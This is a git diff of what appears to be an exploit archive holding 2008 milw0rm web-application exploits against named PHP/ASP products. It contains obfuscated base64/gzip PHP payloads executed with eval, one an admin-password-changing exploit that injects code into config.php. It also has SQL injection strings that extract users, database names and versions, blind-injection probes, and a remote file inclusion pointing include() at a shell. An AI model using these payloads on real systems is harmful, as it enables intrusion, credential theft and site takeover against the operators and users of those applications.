+			"Yj5Mb2FkIGFueSBwYXJ0IG9mIHdlYnNpdGUgeWEgd2FudCwgaXQncyBmdWxseSBpbmplY3RlZC4uLndlIGluamVjdGVkIG91ciBj".
+			"MGRlIGludG8gPGJyIC8+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7XCJjb25maWcucGhwXCIgZmlsZSB3aGlj".
+			"aCBpcyBpbmNsdWRlZCBvbiBldmVyeSBwYWdlIDspPC9iPiA8YnIgLz5bK108Yj4gYWRtaW4gcGFuZWw6PC9iPiBodHRwOi8vIi4k".
+			"X1BPU1RbInVyaV9HTksiXS4kX1BPU1RbInBhdGhfR05LIl0uImFkbWluLzxiciAvPjxiciAvPjxiciAvPjxiciAvPjxiciAvPjxi".
+			"ciAvPjxiciAvPjxzcGFuIHN0eWxlPVwiZm9udDpub3JtYWwgOHB0IHRhaG9tYTtjb2xvcjojQ0NDO1wiPkV4cGxvaXQgQnkgRzRO".
+			"MEsuLi48L3NwYW4+PGJyIC8+PGJyIC8+PC9kaXY+Ijt9IGVsc2UgeyBlY2hvICJbK108Yj4gT29wcyAsICBzcnkgLCAgPHU+bm90".
+			"IFZ1bG5lcmFibGU8L3U+IC4gLiAuICE8L2I+PGJyIC8+PGJyIC8+PC9kaXY+Ijt9Zmx1c2goKTt9IGVsc2UgeyBlY2hvICRGT1JN".
+			"O30NCg==";
+		eval(base64_decode($G4N0K));
+?>
+
+# milw0rm.com [2008-11-24]
diff --git a/platforms/php/webapps/7289.txt b/platforms/php/webapps/7289.txt
index 05c58962c..faf705126 100755
--- a/platforms/php/webapps/7289.txt
+++ b/platforms/php/webapps/7289.txt
@@ -1,50 +1,50 @@
-[~] ----------------------------بسم الله الرحمن الرح�م------------------------------
- [~]Tybe:(reviews.aspx ProductID) Blind SQL Injection Vulnerability
-   
- [~]Vendor:www.activewebsoftwares.com
-   
- [~]Software: Active Price Comparison v 4
-   
- [~]author: ((�3d D3v!L))
-   
- [~] Date: 28.11.2008
-   
- [~] Home: www.ahacker.biz
-   
- [~] contact: N/A
-
-[~] -----------------------------------------------------------
-   
-
- [~]3xpL0!7 4 d3m0:
-
- http://www.activewebsoftwares.com/demoactivepricecomparison/reviews.aspx?ProductID={bL!ND}
-
-   
- [~] 8L!/\/D:
-   
-  7Ru3 : links.asp?linkid=1 and 1=1
-
-  f4L53: links.asp?linkid=1 and 1=2
-
-   
-N073:
-
-! 7h!/\/k u can f!nd m0r3 
-
-just let your m1nd breath ;)
-
-[~]--------------------------------------------------------------------------------------
-  
-  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &الزه�ر�
-  [~]
-  [~] spechial thanks : dolly & 7am3m & عماد & {str0ke}
-  [~]
-  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
-  [~]
-  [~] xp10.biz & ahacker.biz
-  [~]
-  
-[~]---------------------------------------------------------------------------------------
-
-# milw0rm.com [2008-11-29]
+[~] ----------------------------بسم الله الرحمن الرح�م------------------------------
+ [~]Tybe:(reviews.aspx ProductID) Blind SQL Injection Vulnerability
+   
+ [~]Vendor:www.activewebsoftwares.com
+   
+ [~]Software: Active Price Comparison v 4
+   
+ [~]author: ((�3d D3v!L))
+   
+ [~] Date: 28.11.2008
+   
+ [~] Home: www.ahacker.biz
+   
+ [~] contact: N/A
+
+[~] -----------------------------------------------------------
+   
+
+ [~]3xpL0!7 4 d3m0:
+
+ http://www.activewebsoftwares.com/demoactivepricecomparison/reviews.aspx?ProductID={bL!ND}
+
+   
+ [~] 8L!/\/D:
+   
+  7Ru3 : links.asp?linkid=1 and 1=1
+
+  f4L53: links.asp?linkid=1 and 1=2
+
+   
+N073:
+
+! 7h!/\/k u can f!nd m0r3 
+
+just let your m1nd breath ;)
+
+[~]--------------------------------------------------------------------------------------
+  
+  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &الزه�ر�
+  [~]
+  [~] spechial thanks : dolly & 7am3m & عماد & {str0ke}
+  [~]
+  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
+  [~]
+  [~] xp10.biz & ahacker.biz
+  [~]
+  
+[~]---------------------------------------------------------------------------------------
+
+# milw0rm.com [2008-11-29]
diff --git a/platforms/php/webapps/7364.php b/platforms/php/webapps/7364.php
index 3bee0b756..dcb24ee61 100755
--- a/platforms/php/webapps/7364.php
+++ b/platforms/php/webapps/7364.php
@@ -1,105 +1,105 @@
-<?php
-/*
-==============================================================================
-                      _      _       _          _      _   _ 
-                     / \    | |     | |        / \    | | | |
-                    / _ \   | |     | |       / _ \   | |_| |
-                   / ___ \  | |___  | |___   / ___ \  |  _  |
-   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
-                                                             
-
-==============================================================================
-                      ____   _  _     _   _    ___    _  __
-                     / ___| | || |   | \ | |  / _ \  | |/ /
-                    | |  _  | || |_  |  \| | | | | | | ' / 
-                    | |_| | |__   _| | |\  | | |_| | | . \ 
-                     \____|    |_|   |_| \_|  \___/  |_|\_\
-
-==============================================================================
-	IPNPro3 <= 1.44 Admin Password Changing Exploit
-==============================================================================
-
-	[»] Script:             [ IPN Pro 3 ]
-	[»] Language:           [ PHP ]
-	[»] homepage:           [ http://www.dinkumsoft.net/ ]
-	[»] Type:               [ Commercial ]
-	[»] found-report:       [ 26.11.2008-02.12.2008 ]
-	[»] Founder.coder:      [ G4N0K <mail.ganok[at]gmail.com> ]
-
-===[ LIVE ]===
-
-	[»] removed...
-
-
-	
-===[ Greetz ]===
-
-	[»] ALLAH
-	[»] Tornado2800 <Tornado2800[at]gmail.com>
-	[»] B13
-	[»] AFSHIN-ZARBAT <afshin.zarbat[at]yahoo.com>
-	[»] QU1E <evilinhell87[at]yahoo.com>
-	[»] Hussain-X <darkangel_g85[at]yahoo.com>
-
-	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
-	//ALLAH,forgimme...
-*/
-
-error_reporting(E_ALL);
-	$G4N0K = "vVlJl6LIFv5BuWHQTFn0QlAgSERF5p2AMquvHBB//fsiHNLM7KruU6dOL+IAYcSNO9/vhpFvbeNu".
-                 "OJiNzsQb85PRfDsgrj2b83bkjt1sqduHWJHnnmtMFu4kIwV3MvnkMu8GJ1u1x0TN2T4yGh8niuwm".
-                 "jXpMhJpb+tIx9NuTyXlTUgwL0OGS0fZkiqmYdn1x0vVPSZOcPJWcVlrOxX57NjnbtRWpx84cjQ+p".
-                 "buTxxtqlWn2KG3VvNjYXKeSF8njjqxf752Ny4X5Kf+JU/eniRvO+V/PyaNSzlPJ8iAI7Jzg/1Yd4".
-                 "V/llEEqksk7xxq7jzfzg6XUbLUgWCtIx1bxjOuIKPHupIm1Tjd9PO7lcamqXCB438zzXLrge5D3N".
-                 "Mu59ptvg/VzPqnruFPI8aQbZhOp6MTyb5ZwjY7WK/fpIVDlPREuMRaMiY2sb+v3NEoOMvV6inU/L".
-                 "YJ6tFVm3xr12cWlP0AcXay6TJRHtPt6zlPLpPHgrE3FSUB7CRqpWwd5SsrqJhT5n+lGOM/crZ+eG".
-                 "fn6K/fGeKMYk9a1dpI0zW4TOG7smRZuR6syHQl2FC9kBTxeieselb50izS1MRfajwKgwn+NdTpo6".
-                 "j5U2W2jePm082N+i8xe6zwysGr8305Z7V3wjD4XDJmkkPm7mB+h1H4vklXDWaE7H5YnXwNqtGvd1".
-                 "qssc3buec++Q2VKaaBf554rqfHWlCVvbdVLuLrFw3kXK8JzoWUY46qHe2HZAc8N92kdgl0jwjpEi".
-                 "v4GmETWwr8KLkV9vlvr8FXrbRyPKy/XcqKnrWLMvEWyR+u2eaJ9o7T7zsW3hF4cwMGDH3utktM8S".
-                 "Ta0irT5GF/bbfhlYVD5u5Z/radOHf7vgYydhNEvf20e6VacKXcf0UcbwWchXxKK9verxvEvE+eFm".
-                 "/9cY/EcOW9uGvl1R/5mW4xZ6uNHdfpG/Pib6XX/RPhZUbtpAJ5v53/IR+kYd64y+uPRtbjnanq2R".
-                 "3K5GN3tpUp6OdvvIj5itlMCuVzrsCz4jofcK+1O9Ml0/dNHx3dJPt+loe3ni8xjpYbYSPvnJayrk".
-                 "iCX3LfbVLhLq47RR+VQbvMFOXaR53bSYCFYZ0pFNArlHdMSwVldTMd1FOnRWJu1El3tTEX5Qtqeb".
-                 "3lgMmUJeh/6cvbN4cVhuqJALEPdnxOZEIo0tkPJj/rZfIpvPcobwqZTy05GXmS53EaPFSTPnPxjw".
-                 "U6IMs58OdXB7l9ff564j6J7nn9Z9GdBV9ouzTkRt2Tvy1uB25oDo7dOaQRY8zX+s+zYspfi5TGYH".
-                 "HtlZT/QZvWdebmfReVX6wsfTGP5Kf6DBS9ezrnTWVFeUbzZ/4yXgr2etb7pc/1J/soG64C5QZ51K".
-                 "teyFPLNRO4KO6T4J+Ns5oH8/BwN6ktYmtZN6Xgd0XrzJ9Rv6+6Nj+A/+9wcH9PffxJTD/YP+5PXd".
-                 "/tTe9/hhz1ts3X9n36q0/l39Xf3r6r/ru4/jGTx8H77XycktFk70+7fi90b77t/M926+HNxj9elp".
-                 "dIixn/P9S/2t7/7L/Puac650z8kjN9xiFucf73nl3+jPDvIWdWmH+qWsFuBdvccPlfG8Xj+eiDXw".
-                 "wOKJH5wI4+nM4u8389+fHP9p/Vh48hR4tENPcCGjVqK4Hqgsm/v2AVgmczX1kogpcA7mhBxYMd3F".
-                 "TfKha9jgP4pLidVukdVY1HBgbVqfq9x13JbijMqupIXjcNls1A5sIA66HrhDIJq6B+44zhZGGfl9".
-                 "LgoIw8ozLYJc3FNtv2MHl2fYoUMf4Fust8HeN0OVHNszfIzY4GXi0m/3rBk8L5FCpr3FNhbmoCMD".
-                 "b8zZGdAft1TkejXaZqZolcBFbaoMgKGqwRPGpFjEmN0x6qg3CMteEzfGJRkdVAJsmwCTEW2QLRcy".
-                 "ZzT9IhGHbzNFKmbANsCKG8hVzcpzkdx6EcU58zHoxFr1Arp52HgUw56SEj1DYOwCLp0ugFkWmnQB".
-                 "HoM+r2tue3fxRuYRRxf0GXvaZ3zgrivWToDjl/48IxSBXQ4fGPHCMGIBvFlBZzzkXdtc34R+0B/y".
-                 "9Zc5bhXIdA42yTl8C8BVPD0P2IvytLvxs186VBa1iPw2A3bvsKdF/8Td5bjrxNWk7g/Kw939AL9d".
-                 "7bqxv8rzzMeXvgzf6GNTH75VZu2/kSmED32XSaW8/CmZxC8y5amWf5PpiY+fy1QMbv5X3f13Bx+8".
-                 "9g6K3KDPA47ui4meVl9lchpPNL2PPnjK6DBd3Ghd+xXgetYzgaeCrkPsvpKR2q4g9633Y13AM+6n".
-                 "vQVk2UXo3eNN2qbCN5sdU1EWI1XSnQq+qtv95APb4xs9s+5hHWHyof97Qawxe4UbkpmXHotfU/jo".
-                 "rx6x9zkG7zZivESC9JWPTcx/5cHiw4bffdJzpZbsTqQYF39HN2k85JBvMnYR+vD0m4xGzfrBp1hz".
-                 "2X7kqyfeIS/sZxyo/DSHXvOl0QFjvNyf117qnocjzS7RG6LvJ0qOXpX2kVkV8PLM5e3YENLT1QfS".
-                 "9H0xbAzY5+sasvG6pXflN1hUmVGEGfG9QwLe3xV77Y4lx1P3T/nL+AWtJ7+uuR1RQvCl1nGAnLP4".
-                 "+br3hfxm6IgpZSgRxcgjjd/FtQQ989f3IjpGQYr4sC7BZYwY6H3Q+uTrRmoWBDncExNaQ/kB4psc".
-                 "UUPmDm+5fvfZB4NFrzA2k/PM89oI8R4tyJuhWVvk9XKpST/IiNWpDrn+CF20qC+7aWf/LxYONf2N".
-                 "1JQHxPozP59lO5Lmev9kUl3pNup4ejE38jYZSfsY9kmDebZQbddVBmezVJOkPh9v9eEL3Wc79YpA".
-                 "N5K4pj5EDnM/pfdor2TMn1ZNvY+18cla9Fr4RLBEjYrF9DLtZA/j8U3GfZeM3OPE2WeR3zt43uSN".
-                 "6IYwLcfHKfzAFrxyKQxOk3LYTkdDflJWrVXI2jIwauTNnnmZHCfquQu0vhn5Xmu6qPdBVCMPXiYj".
-                 "mckxF6QjbHGNo3KbLQWvThQ+j+Hbkcf2jugdFMUHpsdi5RW4oU2Q00JBZRjAFLNDKqai6TPccIAf".
-                 "7ql9YsGuI/ULDfdcQ7803zLdhUKObwv4YH8kNVvL+CLlvlo20o9oMQTGGFYJ8p1ZGI/faGwz+xbU".
-                 "H1Qu1dRy2cE3tQj5z/oRi3IdFz+LofbZFz5qV83tDdSJpOmfTGWInGp01Lfwzk+U6m3ph1uysHP4".
-                 "SB4K+92K6l8bbMlTjptt0m0IfwlhA6LXOdHsE72DMovekSyGtzzZd1Kf55bs7ge+Dr0QPe2go8c6".
-                 "UyAvX/MKcg+9c3khRfUG+Tno+TgV+Ro6PL0r5Irp7nXBawt2lzfaHWm+ClFL6f0h8l2OuDmEzuFx".
-                 "P2b67L7r1XIoRjkkpOzH7zzwokZePvzDqyhvlBfkecaf3x1SMoLMtQUb2gz/gq9z6nvIE72jyfTC".
-                 "+C5mBdlNhUgExkEMZxXqKAcM+cNUrrH67qAOa6jXiyyPGu8UFR9r3hc1cg/yc9eToiZFjE62Hzav".
-                 "3tZ+VAJzX57pgt4uKoZbaj96x5iAHvUZ2BJ11kNt9C6JEPGxdu5Dn3dbIl/sfwQOZCpkdaXLiH/w".
-                 "S7HCF5s8ZC/P7I6WaPSeDVgFesc5VaCQl+SpRwivPUIdMb20p5BhnuiEnPCdZtWv005muTQVgF1Q".
-                 "z5Ju+EqUX+fJq54fPkZtSPEysPq1ZwE/R+CI18e6BXJc4zWU58f/Bt2nMz4wKfLk0/wTDqL5/FYP".
-                 "Cgm+08v+DK0B9DP+HgP/9qlb8O/eo4cJFIPZid4xJw3ymzLsJfo8gw8h9/D5VLjab1rQ+/fJG7Xf".
-                 "57759r9Dd7VfIsp5XD5wz+N5q/vFVOSQs8/wSfmNaN98a4b8dCEKvUOzOvTke/S3g9TpI1bnmbfx".
-                 "9oi5DngR+BU4y+llZoGeX+llxLn6zs/P5RtgtMtSyVAHZeRDb58IbrbqZJYniGJrDm9Y7P43++uv".
-                 "/wM=";
-                 eval(base64_decode(gzinflate(base64_decode($G4N0K))));
-?>
-
-# milw0rm.com [2008-12-07]
+<?php
+/*
+==============================================================================
+                      _      _       _          _      _   _ 
+                     / \    | |     | |        / \    | | | |
+                    / _ \   | |     | |       / _ \   | |_| |
+                   / ___ \  | |___  | |___   / ___ \  |  _  |
+   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
+                                                             
+
+==============================================================================
+                      ____   _  _     _   _    ___    _  __
+                     / ___| | || |   | \ | |  / _ \  | |/ /
+                    | |  _  | || |_  |  \| | | | | | | ' / 
+                    | |_| | |__   _| | |\  | | |_| | | . \ 
+                     \____|    |_|   |_| \_|  \___/  |_|\_\
+
+==============================================================================
+	IPNPro3 <= 1.44 Admin Password Changing Exploit
+==============================================================================
+
+	[»] Script:             [ IPN Pro 3 ]
+	[»] Language:           [ PHP ]
+	[»] homepage:           [ http://www.dinkumsoft.net/ ]
+	[»] Type:               [ Commercial ]
+	[»] found-report:       [ 26.11.2008-02.12.2008 ]
+	[»] Founder.coder:      [ G4N0K <mail.ganok[at]gmail.com> ]
+
+===[ LIVE ]===
+
+	[»] removed...
+
+
+	
+===[ Greetz ]===
+
+	[»] ALLAH
+	[»] Tornado2800 <Tornado2800[at]gmail.com>
+	[»] B13
+	[»] AFSHIN-ZARBAT <afshin.zarbat[at]yahoo.com>
+	[»] QU1E <evilinhell87[at]yahoo.com>
+	[»] Hussain-X <darkangel_g85[at]yahoo.com>
+
+	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
+	//ALLAH,forgimme...
+*/
+
+error_reporting(E_ALL);
+	$G4N0K = "vVlJl6LIFv5BuWHQTFn0QlAgSERF5p2AMquvHBB//fsiHNLM7KruU6dOL+IAYcSNO9/vhpFvbeNu".
+                 "OJiNzsQb85PRfDsgrj2b83bkjt1sqduHWJHnnmtMFu4kIwV3MvnkMu8GJ1u1x0TN2T4yGh8niuwm".
+                 "jXpMhJpb+tIx9NuTyXlTUgwL0OGS0fZkiqmYdn1x0vVPSZOcPJWcVlrOxX57NjnbtRWpx84cjQ+p".
+                 "buTxxtqlWn2KG3VvNjYXKeSF8njjqxf752Ny4X5Kf+JU/eniRvO+V/PyaNSzlPJ8iAI7Jzg/1Yd4".
+                 "V/llEEqksk7xxq7jzfzg6XUbLUgWCtIx1bxjOuIKPHupIm1Tjd9PO7lcamqXCB438zzXLrge5D3N".
+                 "Mu59ptvg/VzPqnruFPI8aQbZhOp6MTyb5ZwjY7WK/fpIVDlPREuMRaMiY2sb+v3NEoOMvV6inU/L".
+                 "YJ6tFVm3xr12cWlP0AcXay6TJRHtPt6zlPLpPHgrE3FSUB7CRqpWwd5SsrqJhT5n+lGOM/crZ+eG".
+                 "fn6K/fGeKMYk9a1dpI0zW4TOG7smRZuR6syHQl2FC9kBTxeieselb50izS1MRfajwKgwn+NdTpo6".
+                 "j5U2W2jePm082N+i8xe6zwysGr8305Z7V3wjD4XDJmkkPm7mB+h1H4vklXDWaE7H5YnXwNqtGvd1".
+                 "qssc3buec++Q2VKaaBf554rqfHWlCVvbdVLuLrFw3kXK8JzoWUY46qHe2HZAc8N92kdgl0jwjpEi".
+                 "v4GmETWwr8KLkV9vlvr8FXrbRyPKy/XcqKnrWLMvEWyR+u2eaJ9o7T7zsW3hF4cwMGDH3utktM8S".
+                 "Ta0irT5GF/bbfhlYVD5u5Z/radOHf7vgYydhNEvf20e6VacKXcf0UcbwWchXxKK9verxvEvE+eFm".
+                 "/9cY/EcOW9uGvl1R/5mW4xZ6uNHdfpG/Pib6XX/RPhZUbtpAJ5v53/IR+kYd64y+uPRtbjnanq2R".
+                 "3K5GN3tpUp6OdvvIj5itlMCuVzrsCz4jofcK+1O9Ml0/dNHx3dJPt+loe3ni8xjpYbYSPvnJayrk".
+                 "iCX3LfbVLhLq47RR+VQbvMFOXaR53bSYCFYZ0pFNArlHdMSwVldTMd1FOnRWJu1El3tTEX5Qtqeb".
+                 "3lgMmUJeh/6cvbN4cVhuqJALEPdnxOZEIo0tkPJj/rZfIpvPcobwqZTy05GXmS53EaPFSTPnPxjw".
+                 "U6IMs58OdXB7l9ff564j6J7nn9Z9GdBV9ouzTkRt2Tvy1uB25oDo7dOaQRY8zX+s+zYspfi5TGYH".
+                 "HtlZT/QZvWdebmfReVX6wsfTGP5Kf6DBS9ezrnTWVFeUbzZ/4yXgr2etb7pc/1J/soG64C5QZ51K".
+                 "teyFPLNRO4KO6T4J+Ns5oH8/BwN6ktYmtZN6Xgd0XrzJ9Rv6+6Nj+A/+9wcH9PffxJTD/YP+5PXd".
+                 "/tTe9/hhz1ts3X9n36q0/l39Xf3r6r/ru4/jGTx8H77XycktFk70+7fi90b77t/M926+HNxj9elp".
+                 "dIixn/P9S/2t7/7L/Puac650z8kjN9xiFucf73nl3+jPDvIWdWmH+qWsFuBdvccPlfG8Xj+eiDXw".
+                 "wOKJH5wI4+nM4u8389+fHP9p/Vh48hR4tENPcCGjVqK4Hqgsm/v2AVgmczX1kogpcA7mhBxYMd3F".
+                 "TfKha9jgP4pLidVukdVY1HBgbVqfq9x13JbijMqupIXjcNls1A5sIA66HrhDIJq6B+44zhZGGfl9".
+                 "LgoIw8ozLYJc3FNtv2MHl2fYoUMf4Fust8HeN0OVHNszfIzY4GXi0m/3rBk8L5FCpr3FNhbmoCMD".
+                 "b8zZGdAft1TkejXaZqZolcBFbaoMgKGqwRPGpFjEmN0x6qg3CMteEzfGJRkdVAJsmwCTEW2QLRcy".
+                 "ZzT9IhGHbzNFKmbANsCKG8hVzcpzkdx6EcU58zHoxFr1Arp52HgUw56SEj1DYOwCLp0ugFkWmnQB".
+                 "HoM+r2tue3fxRuYRRxf0GXvaZ3zgrivWToDjl/48IxSBXQ4fGPHCMGIBvFlBZzzkXdtc34R+0B/y".
+                 "9Zc5bhXIdA42yTl8C8BVPD0P2IvytLvxs186VBa1iPw2A3bvsKdF/8Td5bjrxNWk7g/Kw939AL9d".
+                 "7bqxv8rzzMeXvgzf6GNTH75VZu2/kSmED32XSaW8/CmZxC8y5amWf5PpiY+fy1QMbv5X3f13Bx+8".
+                 "9g6K3KDPA47ui4meVl9lchpPNL2PPnjK6DBd3Ghd+xXgetYzgaeCrkPsvpKR2q4g9633Y13AM+6n".
+                 "vQVk2UXo3eNN2qbCN5sdU1EWI1XSnQq+qtv95APb4xs9s+5hHWHyof97Qawxe4UbkpmXHotfU/jo".
+                 "rx6x9zkG7zZivESC9JWPTcx/5cHiw4bffdJzpZbsTqQYF39HN2k85JBvMnYR+vD0m4xGzfrBp1hz".
+                 "2X7kqyfeIS/sZxyo/DSHXvOl0QFjvNyf117qnocjzS7RG6LvJ0qOXpX2kVkV8PLM5e3YENLT1QfS".
+                 "9H0xbAzY5+sasvG6pXflN1hUmVGEGfG9QwLe3xV77Y4lx1P3T/nL+AWtJ7+uuR1RQvCl1nGAnLP4".
+                 "+br3hfxm6IgpZSgRxcgjjd/FtQQ989f3IjpGQYr4sC7BZYwY6H3Q+uTrRmoWBDncExNaQ/kB4psc".
+                 "UUPmDm+5fvfZB4NFrzA2k/PM89oI8R4tyJuhWVvk9XKpST/IiNWpDrn+CF20qC+7aWf/LxYONf2N".
+                 "1JQHxPozP59lO5Lmev9kUl3pNup4ejE38jYZSfsY9kmDebZQbddVBmezVJOkPh9v9eEL3Wc79YpA".
+                 "N5K4pj5EDnM/pfdor2TMn1ZNvY+18cla9Fr4RLBEjYrF9DLtZA/j8U3GfZeM3OPE2WeR3zt43uSN".
+                 "6IYwLcfHKfzAFrxyKQxOk3LYTkdDflJWrVXI2jIwauTNnnmZHCfquQu0vhn5Xmu6qPdBVCMPXiYj".
+                 "mckxF6QjbHGNo3KbLQWvThQ+j+Hbkcf2jugdFMUHpsdi5RW4oU2Q00JBZRjAFLNDKqai6TPccIAf".
+                 "7ql9YsGuI/ULDfdcQ7803zLdhUKObwv4YH8kNVvL+CLlvlo20o9oMQTGGFYJ8p1ZGI/faGwz+xbU".
+                 "H1Qu1dRy2cE3tQj5z/oRi3IdFz+LofbZFz5qV83tDdSJpOmfTGWInGp01Lfwzk+U6m3ph1uysHP4".
+                 "SB4K+92K6l8bbMlTjptt0m0IfwlhA6LXOdHsE72DMovekSyGtzzZd1Kf55bs7ge+Dr0QPe2go8c6".
+                 "UyAvX/MKcg+9c3khRfUG+Tno+TgV+Ro6PL0r5Irp7nXBawt2lzfaHWm+ClFL6f0h8l2OuDmEzuFx".
+                 "P2b67L7r1XIoRjkkpOzH7zzwokZePvzDqyhvlBfkecaf3x1SMoLMtQUb2gz/gq9z6nvIE72jyfTC".
+                 "+C5mBdlNhUgExkEMZxXqKAcM+cNUrrH67qAOa6jXiyyPGu8UFR9r3hc1cg/yc9eToiZFjE62Hzav".
+                 "3tZ+VAJzX57pgt4uKoZbaj96x5iAHvUZ2BJ11kNt9C6JEPGxdu5Dn3dbIl/sfwQOZCpkdaXLiH/w".
+                 "S7HCF5s8ZC/P7I6WaPSeDVgFesc5VaCQl+SpRwivPUIdMb20p5BhnuiEnPCdZtWv005muTQVgF1Q".
+                 "z5Ju+EqUX+fJq54fPkZtSPEysPq1ZwE/R+CI18e6BXJc4zWU58f/Bt2nMz4wKfLk0/wTDqL5/FYP".
+                 "Cgm+08v+DK0B9DP+HgP/9qlb8O/eo4cJFIPZid4xJw3ymzLsJfo8gw8h9/D5VLjab1rQ+/fJG7Xf".
+                 "57759r9Dd7VfIsp5XD5wz+N5q/vFVOSQs8/wSfmNaN98a4b8dCEKvUOzOvTke/S3g9TpI1bnmbfx".
+                 "9oi5DngR+BU4y+llZoGeX+llxLn6zs/P5RtgtMtSyVAHZeRDb58IbrbqZJYniGJrDm9Y7P43++uv".
+                 "/wM=";
+                 eval(base64_decode(gzinflate(base64_decode($G4N0K))));
+?>
+
+# milw0rm.com [2008-12-07]
diff --git a/platforms/php/webapps/7385.txt b/platforms/php/webapps/7385.txt
index 9aa7d26f3..04528eb46 100755
--- a/platforms/php/webapps/7385.txt
+++ b/platforms/php/webapps/7385.txt
@@ -1,19 +1,19 @@
-[~] vBulletin (Mode Secure Downloads v2.0.0r) SQL Injection Vulnerability
-
-[~] Mod : http://www.1src.com/freeware/download.php?id=1880
-
-[~] Author : Cn4phux
-
-[~] PoC :
-
- 
-
-[~] URL.com/fileinfo.php?id=[SQL]
-
-
-[~] : 1797'+AND(0)+UNION+SELECT+1,1,1,1,1,'Cn4phux',0,0,0,1,0,1,0,0,0,0,0,USER(),DATABASE(),0,0,0,0,0,0,0+OR+'1'='0
-
-
-//Cn4phux.
-
-# milw0rm.com [2008-12-08]
+[~] vBulletin (Mode Secure Downloads v2.0.0r) SQL Injection Vulnerability
+
+[~] Mod : http://www.1src.com/freeware/download.php?id=1880
+
+[~] Author : Cn4phux
+
+[~] PoC :
+
+ 
+
+[~] URL.com/fileinfo.php?id=[SQL]
+
+
+[~] : 1797'+AND(0)+UNION+SELECT+1,1,1,1,1,'Cn4phux',0,0,0,1,0,1,0,0,0,0,0,USER(),DATABASE(),0,0,0,0,0,0,0+OR+'1'='0
+
+
+//Cn4phux.
+
+# milw0rm.com [2008-12-08]
diff --git a/platforms/php/webapps/7459.txt b/platforms/php/webapps/7459.txt
index 2ca6d6ecf..0df726f66 100755
--- a/platforms/php/webapps/7459.txt
+++ b/platforms/php/webapps/7459.txt
@@ -1,21 +1,21 @@
-Author : BeyazKurt - Bey4zKurt@Gmail.Com
-
-Script : CFAGCMS
-Download : http://sourceforge.net/project/showfiles.php?group_id=197936
-
-Vuln :
-
-Page themes/default/index.php, Line 15-16 :
-
-<?php include($main);?>
-<?php include($right);?>
-
-Site.Com/cfagcms/themes/default/index.php?main=SHELL
-Site.Com/cfagcms/themes/default/index.php?right=SHELL
-
-SHQÄ°PTAR!
-Siyasetle ilgili biÅŸi söliyimmi :p
- 
-FENERBAHÇEE (H)
-
-# milw0rm.com [2008-12-14]
+Author : BeyazKurt - Bey4zKurt@Gmail.Com
+
+Script : CFAGCMS
+Download : http://sourceforge.net/project/showfiles.php?group_id=197936
+
+Vuln :
+
+Page themes/default/index.php, Line 15-16 :
+
+<?php include($main);?>
+<?php include($right);?>
+
+Site.Com/cfagcms/themes/default/index.php?main=SHELL
+Site.Com/cfagcms/themes/default/index.php?right=SHELL
+
+SHQÄ°PTAR!
+Siyasetle ilgili biÅŸi söliyimmi :p
+ 
+FENERBAHÇEE (H)
+
+# milw0rm.com [2008-12-14]
diff --git a/platforms/php/webapps/7463.txt b/platforms/php/webapps/7463.txt
index 0473bf507..d46a53408 100755
--- a/platforms/php/webapps/7463.txt
+++ b/platforms/php/webapps/7463.txt
@@ -1,29 +1,29 @@
-###########################################################################
-#-------------------------------AlpHaNiX----------------------------------#
-###########################################################################
-
-#Found By : AlpHaNiX
-#website  : www.offensivetrack.org
-#contact  : AlpHa[AT]HACKER[DOT]BZ
-
-###########################################################################
-
-#script   : Automotive Dealer V1/V2
-#download : null
-#Demo     :  http://www.aspsiteware.com/Auto1/
-	     http://www.aspsiteware.com/auto2/auto2/
-
-
-###########################################################################
-
-#Exploits :
-
---=[SQL INJECTION]=--
-http://www.aspsiteware.com/Auto1/type.asp?iType=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users#
-http://www.aspsiteware.com/auto2/auto2/type.asp?iType=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users#
-
-#Greetz For CrimeIRC NetWork  [ IRC.CrimeIRC.Net ] Syst3m UnkOwn and all Staff
-
-###########################################################################
-
-# milw0rm.com [2008-12-14]
+###########################################################################
+#-------------------------------AlpHaNiX----------------------------------#
+###########################################################################
+
+#Found By : AlpHaNiX
+#website  : www.offensivetrack.org
+#contact  : AlpHa[AT]HACKER[DOT]BZ
+
+###########################################################################
+
+#script   : Automotive Dealer V1/V2
+#download : null
+#Demo     :  http://www.aspsiteware.com/Auto1/
+	     http://www.aspsiteware.com/auto2/auto2/
+
+
+###########################################################################
+
+#Exploits :
+
+--=[SQL INJECTION]=--
+http://www.aspsiteware.com/Auto1/type.asp?iType=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users#
+http://www.aspsiteware.com/auto2/auto2/type.asp?iType=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users#
+
+#Greetz For CrimeIRC NetWork  [ IRC.CrimeIRC.Net ] Syst3m UnkOwn and all Staff
+
+###########################################################################
+
+# milw0rm.com [2008-12-14]
diff --git a/platforms/php/webapps/7483.txt b/platforms/php/webapps/7483.txt
index b1abf1156..fee6dba7c 100755
--- a/platforms/php/webapps/7483.txt
+++ b/platforms/php/webapps/7483.txt
@@ -1,30 +1,30 @@
-cfagcms Beta 1 sql inj.
- 
-download: http://mesh.dl.sourceforge.net/sourceforge/cfagcms/cfagcms.zip
- 
-Discovered By: ZoRLu
- 
-z0rlu.blogspot.com
- 
-trt-turk@hotmail.com    
- 
-date: 23.10.2008
- 
-N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
-------------------------------------------------------------------
- 
-exploit:
- 
-http://localhost/cfagcms/right.php?title=[SQL]
- 
-[SQL]=
- 
-ZoRLu'+union+select+0,concat(user(),0x3a,database(),0x3a,version()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
- 
-------------------------------------------------------------------
